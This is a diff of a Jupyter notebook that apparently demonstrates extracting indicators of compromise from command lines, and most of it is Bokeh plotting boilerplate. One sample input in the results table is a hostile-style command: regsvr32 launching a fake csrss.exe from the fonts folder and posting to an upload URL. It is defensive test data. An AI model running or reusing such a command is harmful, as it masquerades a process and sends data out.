"auto\",\"tools\":[{\"id\":\"2613\"},{\"id\":\"2633\"},{\"id\":\"2634\"},{\"id\":\"2635\"},{\"id\":\"2636\"},{\"id\":\"2637\"}]},\"id\":\"2639\",\"type\":\"Toolbar\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2637\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"2630\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"2623\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2696\",\"type\":\"DaysTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2638\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"source\":{\"id\":\"2682\"}},\"id\":\"2686\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2635\",\"type\":\"ResetTool\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2693\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"axis\":{\"id\":\"2625\"},\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"2628\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2636\",\"type\":\"SaveTool\"},{\"attributes\":{},\"id\":\"2708\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2621\",\"type\":\"LinearScale\"},{\"attributes\":{\"formatter\":{\"id\":\"2690\"},\"ticker\":{\"id\":\"2630\"},\"visible\":false},\"id\":\"2629\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"2705\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2704\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2678\",\"type\":\"Diamond\"}],\"root_ids\":[\"2614\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n",
+ " var render_items = [{\"docid\":\"01eedd46-56b0-4b2d-91a5-9107b1292fab\",\"root_ids\":[\"2614\"],\"roots\":{\"2614\":\"c0211239-d4d0-4c4b-a2b9-ae5b232e401a\"}}];\n",
" root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
"\n",
" }\n",
@@ -1808,7 +2039,7 @@
},
"metadata": {
"application/vnd.bokehjs_exec.v0+json": {
- "id": "8265"
+ "id": "2614"
}
},
"output_type": "display_data"
@@ -1849,6 +2080,7 @@
" IoCType \n",
" Observable \n",
" SourceIndex \n",
+ " Input \n",
" \n",
" \n",
" \n",
@@ -1857,31 +2089,39 @@
" dns \n",
" www.401k.com \n",
" 0 \n",
+ " .\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post \n",
" \n",
" \n",
" 1 \n",
" url \n",
" http://www.401k.com/upload?pass=34592389 \n",
" 0 \n",
+ " .\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post \n",
" \n",
" \n",
" 2 \n",
" dns \n",
" microsoft.com \n",
" 4 \n",
+ " cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com \n",
" \n",
" \n",
"\n",
""
],
"text/plain": [
- " IoCType Observable SourceIndex\n",
- "0 dns www.401k.com 0\n",
- "1 url http://www.401k.com/upload?pass=34592389 0\n",
- "2 dns microsoft.com 4"
+ " IoCType Observable SourceIndex \\\n",
+ "0 dns www.401k.com 0 \n",
+ "1 url http://www.401k.com/upload?pass=34592389 0 \n",
+ "2 dns microsoft.com 4 \n",
+ "\n",
+ " Input \n",
+ "0 .\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post \n",
+ "1 .\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post \n",
+ "2 cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com "
]
},
- "execution_count": 37,
+ "execution_count": 13,
"metadata": {},
"output_type": "execute_result"
}
@@ -1917,7 +2157,7 @@
},
{
"cell_type": "code",
- "execution_count": 13,
+ "execution_count": 14,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:15:17.293887Z",
@@ -2299,7 +2539,7 @@
},
{
"cell_type": "code",
- "execution_count": 14,
+ "execution_count": 15,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:15:17.341891Z",
@@ -2334,10 +2574,10 @@
{
"data": {
"text/html": [
- "Make this Notebook Trusted to load map: File -> Trust Notebook
"
+ "Make this Notebook Trusted to load map: File -> Trust Notebook
"
],
"text/plain": [
- ""
+ ""
]
},
"metadata": {},
@@ -2372,7 +2612,7 @@
},
{
"cell_type": "code",
- "execution_count": 15,
+ "execution_count": 16,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:15:17.373889Z",
@@ -2413,7 +2653,7 @@
},
{
"cell_type": "code",
- "execution_count": 16,
+ "execution_count": 17,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:15:17.990888Z",
@@ -2427,7 +2667,7 @@
"\n",
" \n",
"
\n",
- "
Loading BokehJS ... \n",
+ "
Loading BokehJS ... \n",
"
"
]
},
@@ -2597,7 +2837,7 @@
" \"\"}};\n",
"\n",
" function display_loaded() {\n",
- " var el = document.getElementById(\"2128\");\n",
+ " var el = document.getElementById(\"2814\");\n",
" if (el != null) {\n",
" el.textContent = \"BokehJS is loading...\";\n",
" }\n",
@@ -2663,7 +2903,7 @@
" document.body.appendChild(element);\n",
" }\n",
"\n",
- " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n",
+ " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n",
"\n",
" for (var i = 0; i < js_urls.length; i++) {\n",
" var url = js_urls[i];\n",
@@ -2688,7 +2928,7 @@
" }\n",
"\n",
" \n",
- " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n",
+ " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n",
" var css_urls = [];\n",
" \n",
"\n",
@@ -2717,7 +2957,7 @@
" console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
" root._bokeh_failed_load = true;\n",
" } else if (force !== true) {\n",
- " var cell = $(document.getElementById(\"2128\")).parents('.cell').data().cell;\n",
+ " var cell = $(document.getElementById(\"2814\")).parents('.cell').data().cell;\n",
" cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
" }\n",
"\n",
@@ -2734,7 +2974,7 @@
" }\n",
"}(window));"
],
- "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2128\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2128\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
+ "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2814\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2814\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
},
"metadata": {},
"output_type": "display_data"
@@ -2748,7 +2988,7 @@
"\n",
"\n",
"\n",
- "
\n"
+ "
\n"
]
},
"metadata": {},
@@ -2760,8 +3000,8 @@
"(function(root) {\n",
" function embed_document(root) {\n",
" \n",
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2QgCAyZ2HjnZCAIDJnYeOdkIAgMmdh452QgCAyZ2HjnZCAIDJnYeOdkIAAFwh2I52QgCAMbyNjnZCAICJ0Y6OdkIAgInRjo52QgCAUpyHjnZCAIBSnIeOdkIAAEkTi452QgAASROLjnZCAICBqYeOdkIAgIGph452QgAABqSNjnZCAIAnlI2OdkIAgCeUjY52QgCAJ5SNjnZCAIAnlI2OdkIAgCeUjY52QgCAJ5SNjnZCAIAnlI2OdkIAgCeUjY52QgAA4nqAjnZCAADieoCOdkIAALrOgY52QgCAv0WPjnZCAACpsIOOdkIAAKmwg452QgCAHL2DjnZCAADoYYSOdkIAgKW7g452QgAANHmFjnZCAIB+7oaOdkIAAGG8g452QgCATzSOjnZCAABbUoCOdkIAgBWRjo52QgCAFZGOjnZCAIAVkY6OdkIAAO5bcI52QgAAgCBvjnZCAACAIG+OdkIAAFTCcY52QgAA8LRvjnZCAABvf3GOdkIAgH0Wb452QgCAXDB2jnZCAICelY2OdkIAAGF6jo52QgAAYXqOjnZCAIBcMHaOdkIAgFwwdo52QgCAXDB2jnZCAAD2oIeOdkIAAPagh452QgAA9qCHjnZCAAD2oIeOdkIAgLhud452QgAAFPx3jnZCAAAU/HeOdkIAgK+ieY52QgCAr6J5jnZCAAAlAnqOdkIAgGJAiI52QgCA1Wx6jnZCAADxY3mOdkIAAPFjeY52QgAA39F8jnZCAADf0XyOdkIAAA1xfY52QgCA0x6OjnZCAIDffH6OdkIAgN98fo52QgCA33x+jnZCAIC62IiOdkIAANnSfI52QgAA2dJ8jnZCAIDnUX6OdkIAgMr0dY52QgAA4qOOjnZCAADio46OdkIAAB95kI52QgAAi52HjnZCAACLnYeOdkIAAIudh452QgAAi52HjnZCAABT722OdkIAAIrda452QgAAit1rjnZCAACK3WuOdkIAAMIhbY52QgAAN6xyjnZCAAA3rHKOdkIAgBYkc452QgAAqBiLjnZCAACoGIuOdkIAABkodI52QgCAwzpujnZCAICVp2uOdkIAgJWna452QgAApIVyjnZCAACkhXKOdkIAgBuWjY52QgCAG5aNjnZCAACwdomOdkIAAHP6jY52QgAAc/qNjnZCAIBSnIeOdkIAgFKch452QgCAUpyHjnZCAIBSnIeOdkIAgFKch452QgAAua2KjnZCAAC5rYqOdkIAACNDi452QgAAI0OLjnZCAADduYeOdkIAAN25h452QgAA3bmHjnZCAADduYeOdkIAAN25h452QgCATJ2HjnZCAIDJnYeOdkIAgMmdh452QgAAkZyHjnZCAACqX42OdkIAAKpfjY52QgAAql+NjnZCAACqX42OdkIAgE/Jio52QgAA2VBojnZCAADZUGiOdkIAANlQaI52QgAAlI5qjnZCAADR+GiOdkIAAG84aI52QgCAAgRrjnZCAIASN2mOdkIAAMoCa452QgAAygJrjnZCAAApFGmOdkIAAE6OZY52QgCAPMtkjnZCAIA8y2SOdkIAAI8VZo52QgCASMlkjnZCAIBIyWSOdkIAgCRkYY52QgCAJGRhjnZCAAChJGOOdkIAAImfZI52QgCAGjZijnZCAIBY/GKOdkIAgFj8Yo52QgCAYFphjnZCAIBgWmGOdkIAAEMoXo52QgAAQyhejnZCAIApil6OdkIAADrrXY52QgAAOutdjnZCAABFk1qOdkIAAEWTWo52QgCAqzNbjnZCAICrM1uOdkIAAGGyW452QgAAgA9djnZCAIC8RVuOdkIAgBN8Wo52QgAAd/xVjnZCAIDprFOOdkIAgOmsU452QgCA6D5UjnZCAABfa1mOdkIAgMAJV452QgCAwAlXjnZCAACGJlmOdkIAABusV452QgAAG6xXjnZCAAALnVOOdkIAAAudU452QgAAp2VYjnZCAADtDFeOdkIAAO0MV452QgAAb3VJjnZCAABvdUmOdkIAgOwaTI52QgCAr8JKjnZCAABhoUmOdkIAgBh5SY52QgCAkeVFjnZCAICR5UWOdkIAACCdSI52QgAAYbNGjnZCAADyCUaOdkIAAPIJRo52QgAA8glGjnZCAIDew0yOdkIAgN7DTI52QgCAlslNjnZCAIAA6EyOdkIAgI9WT452QgAAYYlNjnZCAIC6w02OdkIAgLhwTY52QgCAAOhMjnZCAIAA6EyOdkIAAGqLQo52QgAAaotCjnZCAAAKm0KOdkIAAGHLQo52QgAAOC5FjnZCAADXgVKOdkIAANeBUo52QgAA14FSjnZCAADXgVKOdkIAABNyU452QgAAZDhQjnZCAABkOFCOdkIAACqJUo52QgAAKolSjnZCAAAqiVKOdkIAgFwOUo52QgCAXA5SjnZCAABhd1COdkIAAGF3UI52QgCAojJRjnZCAICiMlGOdkIAgNDRUY52QgCA0NFRjnZCAIDlDFKOdkIAgOUMUo52QgCA5QxSjnZCAAAKm0KOdkIAgLhHP452QgCAuEc/jnZCAIDoVlCOdkIAgOhWUI52QgCALeRBjnZCAABh3T+OdkIAAASoQI52QgCAQMxBjnZCAAAiLD+OdkIAAB4tOI52QgAAHi04jnZCAIDNKTmOdkIAAGEHOY52QgAACtc4jnZCAAAK1ziOdkIAgBNOOI52QgCAE044jnZCAIATTjiOdkIAgLWeO452QgCAtZ47jnZCAACKdD6OdkIAAIp0Po52QgCAtZg8jnZCAABh9TuOdkIAAGhQPo52QgAAaFA+jnZCAABoUD6OdkIAAGhQPo52QgAAek0+jnZCAAB6TT6OdkIAAHpNPo52QgAAIcQ+jnZCAID7vDuOdkIAgPu8O452QgCAD8YyjnZCAIAPxjKOdkIAAEB7MY52QgAAQHsxjnZCAIDpfjGOdkIAAGExMo52QgAAMMsyjnZCAAAwyzKOdkIAAAVwMY52QgAABXAxjnZCAAAFcDGOdkIAAEuUMI52QgAAkbgvjnZCAIBUji+OdkIAgFSOL452QgAAdn4vjnZCAABhPTCOdkIAgCvfNI52QgAAys80jnZCAADKzzSOdkIAgOW6NY52QgAAjP01jnZCAABhHzWOdkIAgFrrzI12QgCA2VDKjXZCAIDZUMqNdkIAAEFZy412QgAAzC3LjXZCAADMLcuNdkIAgCKtyo12QgAA4W7KjXZCAAA0fMmNdkIAAPvVxo12QgAA+9XGjXZCAIC6/8aNdkIAgLr/xo12QgCAIr/HjXZCAADt+8eNdkIAgLr/xo12QgCAuv/GjXZCAABMDcaNdkIAACp4w412QgAAKnjDjXZCAIDSkMONdkIAgNKQw412QgCAItfDjXZCAACICcWNdkIAgNKQw412QgCA0pDDjXZCAABknsKNdkIAgMj9v412QgCAyP2/jXZCAAAU4cCNdkIAABThwI12QgCAIunAjXZCAIDqIcCNdkIAgGP5v412QgCAY/m/jXZCAACsUbiNdkIAgFXktY12QgCAVeS1jXZCAABclLaNdkIAAFyUto12QgCAIiu2jXZCAAB9SreNdkIAAGDDtY12QgAA9NS1jXZCAAD01LWNdkIAAPTUtY12QgAAlMC7jXZCAIAKHbmNdkIAgAoduY12QgAARAO6jXZCAIAiE7qNdkIAANxDuY12QgAA3EO5jXZCAADcQ7mNdkIAgF9gqI12QgCAX2CojXZCAAAI/KeNdkIAAAj8p412QgCAlVeojXZCAABXV6iNdkIAAFdXqI12QgAA1FeojXZCAADkfqiNdkIAgM/0qI12QgAA+qSojXZCAICVV6iNdkIAgBUZqI12QgCAFRmojXZCAIC26pmNdkIAgLbqmY12QgCAtuqZjXZCAAB9gZmNdkIAAKj0lo12QgAAqPSWjXZCAICG8pmNdkIAAE/ulo12QgAALcqWjXZCAAAtypaNdkIAAHjqmY12QgAAeOqZjXZCAIDN+5mNdkIAAMvxmY12QgAAy/GZjXZCAADL8ZmNdkIAAMvxmY12QgAA5OqWjXZCAABZuz2NdkIAAFm7PY12QgAAr4M9jXZCAACvgz2NdkIAACquPY12QgAAKq49jXZCAIClDD6NdkIAAIi8P412QgAAy6g9jXZCAADLqD2NdkIAgIdTM412QgCAh1MzjXZCAICONzSNdkIAAHJhM412QgCApU4zjXZCAIAC7zWNdkIAgMb4NY12QgAAJcQ2jXZCAAAlxDaNdkIAACntNo12QgAA8go3jXZCAIClNjeNdkIAgLzKNo12QgCA1FszjXZCAIB2pjeNdkIAgHamN412QgAAo24sjXZCAACjbiyNdkIAALZWLI12QgAAtlYsjXZCAADyty+NdkIAgKV4LI12QgAAOjUujXZCAIAbDC2NdkIAAMZ9LI12QgCACFokjXZCAAB6HyKNdkIAAHofIo12QgAAyAwjjXZCAADIDCONdkIAgKW0Io12QgAADjEijXZCAAAOMSKNdkIAgPDIJ412QgAAM4EljXZCAAAzgSWNdkIAAN6dJo12QgAA3p0mjXZCAIBnRyiNdkIAgKWiJY12QgCA2cMljXZCAADjOTqNdkIAAOM5Oo12QgAA9p8ljXZCAIAg6yCNdkIAgB25Ho12QgCAHbkejXZCAAB9aSCNdkIAAH1pII12QgAABuUgjXZCAICtGCCNdkIAgKXMHo12QgCAW3kgjXZCAIDnwR6NdkIAgDh8HY12QgAAYzgbjXZCAABjOBuNdkIAAC4sG412QgAALiwbjXZCAICl3huNdkIAgP9SG412QgCA2DcrjXZCAIBcLimNdkIAgFwuKY12QgAA3g4pjXZCAADeDimNdkIAAL4rLI12QgCApYopjXZCAACijyqNdkIAAIsHKY12QgCA7OwvjXZCAIDs7C+NdkIAgBqAMo12QgCApWAwjXZCAID9+RuNdkIAgP35G412QgAA3g4pjXZCAIDs7C+NdkIAgOzsL412QgCApSQ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+ " var render_items = [{\"docid\":\"807fac8d-f261-45b2-8038-742eb7d80f5a\",\"root_ids\":[\"2899\"],\"roots\":{\"2899\":\"1031a81c-d82f-4aec-a17e-534dd3a72e46\"}}];\n",
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@@ -2788,7 +3028,7 @@
},
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+ "id": "2899"
}
},
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@@ -2799,7 +3039,7 @@
"\n",
" \n",
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- "
Loading BokehJS ... \n",
+ "
Loading BokehJS ... \n",
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},
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" function display_loaded() {\n",
- " var el = document.getElementById(\"2470\");\n",
+ " var el = document.getElementById(\"3116\");\n",
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" el.textContent = \"BokehJS is loading...\";\n",
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@@ -3035,7 +3275,7 @@
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"\n",
